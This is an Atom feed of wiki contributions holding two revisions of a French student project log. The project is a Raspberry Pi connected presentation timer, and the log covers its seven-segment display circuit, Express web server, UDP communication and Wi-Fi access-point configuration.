<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Nmehanna</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Nmehanna"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Nmehanna"/>
		<updated>2026-05-13T21:38:43Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49615</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49615"/>
				<updated>2019-01-26T18:32:03Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Documents rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance, nous avons également établit une liste du matériel que nous utiliserons : une Raspberry pi pour faire tourner le serveur accessible en wifi, un transformateur 230VAC vers 5VDC pour alimenter la Raspberry, des afficheurs 7-segments, et un driver de leds pour utiliser le moins de sortie possible.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous anons essayé de trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
Nous avons également pu trouver des bibliothèques python pour utiliser le pilote de leds, et commencer le programme. Nous utiliserons deux pilotes de leds en cascade que nous contrôlerons avec 3 GPIO de la Raspberry. Nous avons également prévu de rajouter un ATMega328p qui pourra lui aussi contrôler les pilotes si on modifie la position de trois jumper. L'ATMega sera relié à la Raspberry en série pour qu'il puissent être programmé à travers elle.&lt;br /&gt;
&lt;br /&gt;
Pour alimenter le device, nous avons ajouté à notre liste de matériel un transformateur 230VAC vers 12VDC pour alimenter les leds ainsi qu'un régulateur 12VDC vers 5VDC pour alimenter la Raspberry (2A). Ensuite la Raspberry se chargera d'alimenter les pilote de leds et l'ATMega328p.&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
Durant cette séance nous avons finalisé le routage de la carte électronique suivant le circuit précédemment définit, et nous avons installé les librairies nécessaire à la programmation des pilotes de leds.&lt;br /&gt;
&lt;br /&gt;
Nous avons également testé les 7-segments qui nous ont été fournit, et nous nous sommes rendus compte qu'ils étaient à cathode commune et donc fonctionnaient différemment de ce qui était indiqué sur la datasheet. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des registre à décalage pour contrôler toutes les sorties.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.&lt;br /&gt;
&lt;br /&gt;
Les afficheurs 7-segments de devant ayant à afficher la même chose que ceux de derrière, nous les connecterons entre eux afin réduire de moitié la quantité de composants à utiliser.&lt;br /&gt;
&lt;br /&gt;
===programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Durant cette séance, nous avons également pensé au soft qui sera embarqué dans la Raspberry. Nous avions décidé de configurer la Raspberry en accesspoint WiFi et de faire tourner un serveur web qui sera accessible lorsque l'utilisateur se connectera au WiFi de la Raspberry. En parallèle, un autre programme tournera sur la Raspberry et s'occupera du calcul du Timer et du contrôle des leds. Pour que le programme puisse communiquer avec le serveur nous avons plusieurs solutions à étudier : IPC, socket, écriture/lecture dans des fichiers.&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû nous renseigner sur son fonctionnement et nous documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchematicP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le PCB est le suivant : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RoutageP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;br /&gt;
&lt;br /&gt;
===Programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance nous avons également finalisé le programme de la Raspberry et installé les librairies permettant d'utiliser le registre à décalage et les GPIO &amp;lt;code&amp;gt;WiringPi&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans ce programme, après les initialisations, une socket UDP est créée pour recevoir la valeur initiale du Timer depuis le serveur web. La socket est par la suite fermée et le message reçu converti en entier. Puis deux threads sont lancés : Le premier qui permet le calcul du Timer en se basant sur la valeur initiale et en utilisant l'horloge physique de la Raspberry (fonction : &amp;lt;code&amp;gt;clock_gettime(CLOCK_REALTIME, &amp;amp;&amp;lt;timespec&amp;gt;);&amp;lt;/code&amp;gt;), le deuxième thread contrôle les 7-segements après l'avoir parsé en unités et dizaines. Les deux threads communiquent entre eux avec un pipe et un système de verrou pour synchroniser l'envoi et la réception. Finalement les threads et le pipe sont fermés proprement.&lt;br /&gt;
&lt;br /&gt;
Ce programme affiche les valeurs supérieures à 99 secondes en minutes et celle inférieures à 99 secondes en seconde. Le programme et disponible sur le git : https://github.com/ael-mess/raspberry-pi-timer/blob/master/pi.c&lt;br /&gt;
&lt;br /&gt;
==Séance 6==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons combiner les deux programmes, et automatiser leurs lancement. Nous avons crée un script shell qui lance le serveur web, puis dans une boucle infini lance le Timer puis supprime les fichiers .json du controllers du serveur web à la fin de chaque timer. Ce script à était mis dans &amp;lt;code&amp;gt;/etc/.rclocal&amp;lt;/code&amp;gt; de la Raspberry en tache de fond, pour qu'il puissent être lancer à chaque allumage de la Raspberry même avant le loging.&lt;br /&gt;
&lt;br /&gt;
===Test===&lt;br /&gt;
&lt;br /&gt;
Pendant cette dernière séance nous avons également souder une partie de nos composants pour faire des tests. Le test de la partie électronique à révéler un comportement anormal du circuit : des segments de leds restent allumer sans que aucune tension sur la base des transistors ne soit appliquée. Nous nous sommes assuré de corriger toutes les erreurs de soudure/contact mais nous n'avions pas pu trouver la source du problème. L’hypothèse qui ont était émise est que la carte n'aillant pas était nettoyé avant la soudure, le contact n'était pas pareil pour tous les composants, et du coup le potentiel entre deux points reliées n'était pas identique (M.Thierry Flamen).&lt;br /&gt;
&lt;br /&gt;
La partie logiciel elle, marche très bien sans aucun comportement anormal.&lt;br /&gt;
&lt;br /&gt;
===Amélioration si plus temps===&lt;br /&gt;
&lt;br /&gt;
- prendre plus de temps pour réaliser et tester la partie hardware.&lt;br /&gt;
&lt;br /&gt;
- utiliser la socket pour l'envoie de chaque valeur du timer et non que pour la valeur initial. (parce que le timer calculer par le serveur web utilise la date de la Raspberry et n'est pas précis)&lt;br /&gt;
&lt;br /&gt;
==Flyer==&lt;br /&gt;
[[Fichier:Flyer timer iot.jpeg|800px|center]]&lt;br /&gt;
&lt;br /&gt;
=Documents rendus=&lt;br /&gt;
&lt;br /&gt;
* [[Fichier:Timer IOT Web.zip]]&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Timer_IOT_Web.zip&amp;diff=49614</id>
		<title>Fichier:Timer IOT Web.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Timer_IOT_Web.zip&amp;diff=49614"/>
				<updated>2019-01-26T18:31:26Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49545</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49545"/>
				<updated>2019-01-21T16:56:46Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Séance 5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance, nous avons également établit une liste du matériel que nous utiliserons : une Raspberry pi pour faire tourner le serveur accessible en wifi, un transformateur 230VAC vers 5VDC pour alimenter la Raspberry, des afficheurs 7-segments, et un driver de leds pour utiliser le moins de sortie possible.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous anons essayé de trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
Nous avons également pu trouver des bibliothèques python pour utiliser le pilote de leds, et commencer le programme. Nous utiliserons deux pilotes de leds que nous contrôlerons avec 3 GPIO de la Raspberry&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir bien avancé sur la carte, nous nous sommes rendu compte que les afficheurs utilisés étaient à cathode commune. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des multiplexeurs. Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.&lt;br /&gt;
&lt;br /&gt;
Les afficheurs 7-segments de devant ayant à afficher la même chose que ceux de derrière, nous les connecterons entre eux afin réduire de moitié la quantité de composants à utiliser.&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchematicP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le PCB est le suivant : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RoutageP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
